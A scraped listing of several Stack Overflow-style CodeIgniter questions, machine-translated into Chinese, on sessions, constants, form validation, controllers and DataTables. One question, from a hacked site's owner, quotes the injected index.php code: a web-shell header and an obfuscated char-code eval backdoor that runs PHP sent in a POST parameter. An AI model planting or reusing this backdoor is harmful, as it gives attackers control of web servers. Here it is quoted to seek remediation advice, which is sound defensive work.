标签: codeigniter

Node.js + codeigniter

最近一直在阅读Node.js以及它如何是一个伟大的网络服务器,甚至支持套接字.我正在考虑在我的项目中使用它,但我仍然无法想出从CI到node.js的交互.有一个项目与Drupal一起完成它似乎运作良好但是我仍然无法弄清楚它们是如何将它们集成在一起的.

只是想知道是否有人对这个想法有任何经验.

http://drupal.org/project/nodejs

http://www.youtube.com/watch?v=UV8lbdJfESg
Run Code Online (Sandbox Code Playgroud)

例:

用户通过AJAX发表评论评论获取存储在数据库中所有观看该线程的用户都会收到通知

现在,在提交评论和通知之后,如何将msg发送到node.js

codeigniter node.js

12
推荐指数
1
解决办法
2万
查看次数

如何为真正的多语言网站设置CodeIgniter?

我需要将CodeIgniter设置为真正的多语言网站.我搜索过,但找不到解决方案.

我已经测试了这种方法,但它无法正常工作.(http://codeigniter.com/wiki/Category%3AInternationalization%3A%3AInternationalization_Views_i18n /)

有人能给我一些线索,了解在CodeIgniter中使用什么设置来获得真正的多语言环境?

最好的祝福,

multilingual codeigniter internationalization

12
推荐指数
1
解决办法
2万
查看次数

在Codeigniter中定义应用程序常量

我想知道在Codeigniter中定义应用程序常量的简洁方法.我不想更改codeigniter的任何本机文件.因此我不想定义它,application/config/constants.php因为当我需要迁移到更新版本的代码点火器时,我将无法直接复制codeigniter的本机文件.

我创建了一个文件application/config/my_constants.php并在那里定义了我的常量.'define('APP_VERSION','1.0.0');'

我用它加载它 $this->load->config('my_constants');

但是我收到了一个错误

Your application/config/dv_constants.php file does not appear to contain a valid configuration array.

请建议我在代码点火器中定义应用程序级常量的简洁方法.

php codeigniter

12
推荐指数
1
解决办法
3万
查看次数

Codeigniter应用程序被黑客入侵,代码注入index.php

我有一个codeigniter 2.0.2项目,一直被黑客入侵.有两个主要问题:

  • 恶意代码正被添加到index.php文件的开头
  • 恶意文件被添加到服务器

根据主机,没有FTP日志表明这些文件已上传.

  1. 由于没有与恶意文件相关的FTP上传日志 - 这是否意味着它必须是通过网站本身的利用,例如联系或上传表单?

  2. 该网站是在共享主机上 - 代码它是同一台服务器上的网站也被黑客攻击,这是导致问题的原因?

  3. 如果我将index.php的文件名更改为其他内容会有帮助吗?

  4. 由于index.php是越来越修改我应该执行命令chmod 644?

  5. 我一直在寻找codeigniter项目的建议权限,但尚未获得任何来源.除了上传/日志目录(777)之外,我在网站上想到644 - 这听起来不错吗?

注入index.php文件顶部的代码:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

然后是一个带有长编码字符串的长preg_replace语句.接下来是第二个声明:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

有一个联系表单和一个表单,用户可以使用CKFinder 2.0.1上传项目.要更新它,看看是否能解决它.

php security codeigniter code-injection codeigniter-2

12
推荐指数
1
解决办法
1万
查看次数

Codeigniter - 日期格式 - 表单验证

我使用笨用PHP.我正在使用以下表格,

<?php
    echo form_open('/register/create_new', $form_params);
?>

DOB: <input type="text" id="dob" name="reg[dob]">
     <input type="submit" value="Create Account" />
</form>
Run Code Online (Sandbox Code Playgroud)

在这里,#dob是dd-mm-yyyy格式.

我的验证码是,

array(
  'field' => 'reg[dob]',
  'label' => 'DOB',
  'rules' => 'required'
)
Run Code Online (Sandbox Code Playgroud)

如何设置rules正确的日期验证?

php codeigniter codeigniter-form-helper

12
推荐指数
3
解决办法
5万
查看次数

Codeigniter中的会话变量不起作用

您好我已经在Codeigniter中创建了一个会话我已经在我的模型中设置了会话变量.但是当我通过Controller在我的视图中调用会话变量时设置会话变量值后,会话变量值变为null.任何帮助???

更新

这是我的模型,我设置了会话变量

function login ($username, $password)

    {
        $this->db->where('username' , $username);
        $this->db->where('password', $password);

        $query = $this->db->get('users');

        if ($query->num_rows()>0)

        {
            foreach ($query->result() as $rows)
            {
                $data = array(

                    'user_name' => $rows->username,
                    'logged_in' => TRUE,
                    'validated' => true
                );
            }

                $this->session->set_userdata($data);
                //$user = $rows->username;
                //$this->session->set_userdata('user_name', $user);

                return true;
        }

        else

        {
            return false;
        }

    }
Run Code Online (Sandbox Code Playgroud)

这是我的控制器,我从那里重定向到视图

public function verification()

    {
        $username = $this->input->post('username');
        $password = $this->input->post('password');


        $result = $this->site_model->login($username, $password);


        //$result = $this->session->set_userdata('validated');

        if ($result)
        {
            //$this->admin();
            //$this->session->set_userdata('login_state', TRUE);

            redirect ('site/index');

        } …
Run Code Online (Sandbox Code Playgroud)

html php codeigniter

12
推荐指数
1
解决办法
2万
查看次数

如何删除codeigniter中的特定行?

我是codeigniter的新手.在我的视图页面中,我在一个表中显示数据库中的数据,其中有两个用于更新和删除的锚标记.我想通过id删除数据库中的特定行.

我的浏览页面是

 <?php foreach($query as $row){ ?>
 <tr>
 <td><?php echo $row->name  ?></td>
  <td><?php echo $row->testi  ?></td>
  <td><?php echo anchor('textarea/delete_row', 'DELETE', 'id="$row->id"'); ?></td>
  <td><a href="#ajax-modal2" data-id="delete[]" role="button" class="Delete" data-toggle="modal" onClick="confirm_delete()"><i class="icon-trash"></i></a></td>
  </tr>

<?php } ?>
</table>
Run Code Online (Sandbox Code Playgroud)

我的控制器页面是

function delete_row()
{

   $this->load->model('mod1');
   $this->mod1->row_delete();
   redirect($_SERVER['HTTP_REFERER']);  
}
Run Code Online (Sandbox Code Playgroud)

我的模型页面是

 function row_delete()
  {

      $this->db->where('id', $id);
      $this->db->delete('testimonials'); 
  }
Run Code Online (Sandbox Code Playgroud)

我想通过捕获相应的ID来删除该行.请不要苛刻.谢谢

php codeigniter

12
推荐指数
1
解决办法
11万
查看次数

Codeigniter扩展控制器,未找到控制器

在Codeigniter 2.1.2中,我想创建基本控制器,然后从该控制器扩展.它不起作用,我不明白为什么,我现在非常绝望.

在\ application\core\MY_Base_Controller.php我有这个:

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class MY_Base_Controller extends CI_Controller 
{
    function __construct()
    {
        parent::__construct();
...
Run Code Online (Sandbox Code Playgroud)

在\ application\controllers\Home.php 我有这个:

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 

class Home extends MY_Base_Controller {
Run Code Online (Sandbox Code Playgroud)

并且错误消息是

致命错误:第3行的......\application\controllers\Home.php中找不到类'MY_Base_Controller'

我不知道该怎么做,我在互联网上读到我必须将基本控制器放到核心文件夹我做了什么,我必须用前缀MY_命名基本控制器,我做了.但它仍然没有用.在我的config.php中也是这一行

$config['subclass_prefix'] = 'MY_';
Run Code Online (Sandbox Code Playgroud)

我使用xampp在localhost上运行它

谢谢您的帮助

编辑

有人可以请关注以下链接尝试,并告诉我什么是错的.我刚刚下载了codeigniter试图创建基本控制器并扩展欢迎控制器.不工作.在下面的rar中,只有修改过的文件.谢谢你 http://goo.gl/sKHkDl

编辑2

我可以通过将MY_Base_Controller重命名为MY_Controller来实现此功能.这是否意味着,我只能为控制器创建一个扩展类?例如.我不能拥有

  • MY_Base_Auth_Controller
  • MY_Base_Article_Controller

只是而且只有MY_Controller?

php extends controller codeigniter

12
推荐指数
3
解决办法
2万
查看次数

数据表请求第0行的未知参数"0"

当我尝试从数据库中的clients表获取数据时,我遇到了这个问题

DataTables警告:table id = example - 第0行请求的未知参数'0'.有关此错误的更多信息,请参阅http://datatables.net/tn/4

这是我在Codeigniter中的控制器

class Clients extends CI_Controller  {

    function header()
    {
        $data['hms'] = $this->config->item('page_title');
        $this->load->view('header3',$data);
    }

    public function index()
    {

        //$this->datatables->select('*');
        //$this->datatables->from('bookitguests');
        //$data['clients'] = $this->datatables->generate();
        $data = "";
        $this->header();
        $this->load->view('all_guests',$data);
    }

    public function TableClients()
    {
        $this->datatables->select('name, surname, email')->from('bookitguests');
        echo $this->datatables->generate();
    }

}
Run Code Online (Sandbox Code Playgroud)

这是我在Codeigniter中的视图(ps,我没有添加头文件,它太长了)

<!-- DataTables CSS -->
<link rel="stylesheet" type="text/css" href="//cdn.datatables.net/1.10.1/css/jquery.dataTables.css">
<!-- jQuery -->
<script type="text/javascript" charset="utf8" src="//code.jquery.com/jquery-1.10.2.min.js"></script>
<!-- DataTables -->
<script type="text/javascript" charset="utf8" src="//cdn.datatables.net/1.10.1/js/jquery.dataTables.js"></script>
<script type="text/javascript" language="javascript" charset="utf-8">
    $(document).ready(function() {
        $('#example').DataTable( {
            "bProcessing": …
Run Code Online (Sandbox Code Playgroud)

datatable codeigniter datatables

12
推荐指数
1
解决办法
3万
查看次数

如何使用php和codeigniter隐藏检索到的数据值的重复部分

由于这个MySQL语句,我已经获得了下表

SELECT * FROM expenses, income 
WHERE expenses.projectname=income.projectname 
AND expenses.task=income.task
Run Code Online (Sandbox Code Playgroud)

在此输入图像描述 这些是我的项目表中的字段

在此输入图像描述

这些是我的任务表的字段 在此输入图像描述

在此表中,一个项目有许多任务.因此项目,客户,项目开始和结束日期列无意义地重复.如何才能为所有任务显示一次?如何在这里应用PHP隐藏逻辑?下图显示了我需要实现的目标.通过MySQL查询检索数据.但是我怎样才能隐藏重复的不必要的值 在此输入图像描述 这是CodeIgniter视图页面

<table class="table table-lg">
<thead >
    <tr class="filters">

       <th><input type="text" class="form-control" placeholder="Project" disabled></th>
        <th><input type="text" class="form-control" placeholder="Employee" disabled></th>
        <th><input type="text" class="form-control" placeholder="Task" disabled></th>
        <th><input type="text" class="form-control" placeholder="Expense" disabled></th>
        <th><input type="text" class="form-control" placeholder="Amount" disabled></th>
        <th><input type="text" class="form-control" placeholder="Paid/Not" disabled></th>
        <th><input type="text" class="form-control" placeholder="Client" disabled></th>
        <th><input type="text" class="form-control" placeholder="Cost" disabled></th>
        <th><input type="text" class="form-control" placeholder="Income " disabled></th>
        <th><input type="text" class="form-control" placeholder="Date" disabled></th>

    </tr>
</thead>
<tbody>
<?php
if(isset($view_data1) && is_array($view_data1) && …
Run Code Online (Sandbox Code Playgroud)

php mysql codeigniter

12
推荐指数
1
解决办法
1122
查看次数